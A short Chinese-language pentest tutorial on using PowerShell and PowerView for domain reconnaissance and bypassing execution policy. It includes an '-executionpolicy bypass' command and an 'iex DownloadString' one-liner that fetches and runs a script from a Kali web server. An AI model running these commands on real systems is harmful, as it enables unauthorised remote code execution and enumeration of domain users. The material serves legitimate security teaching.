PowerShell收集信息及绕过PowerShell权限
PowerShell脚本的4种执行权限：
Restricted：默认设置，不允许任何script运行
AllSigned：只能运行经过数字证书签名的script
RemoteSigned：本地脚本不做限制，网络上下载的script就必须有数字签名
Unrestricted：允许所有的script运行，权限最高
windows默认不允许任何脚本运行，可以使用 "Set-ExecutionPolicy" cmdlet 来更改这个策略
使用PowerShell进行信息收集的步骤：
1、进入powershell
2、查看权限
3、导入脚本文件
4、执行相关命令
PowerShell有关命令：
绕过PowerShell权限的方式：
1、能够上传脚本到目标机器：
powershell.exe -executionpolicy bypass "import-module ./powerview.ps1;get-netuser"
2、不能上传脚本到目标机器：
1）能够访问到脚本（需要有Web服务器）
2）kali开启Apache服务
将powerview.ps1脚本复制到kali中var/www/html目录下
访问脚本文件
发现显示没有权限，所以修改powerview.ps1脚本权限
再次访问
在win7中输入以下命令：
powershell.exe -exec bypass -nop -c "iex(New-Object Net.WebClient).DownloadString('http://<kali的web服务的ip>/powerview.ps1');get-netuser"
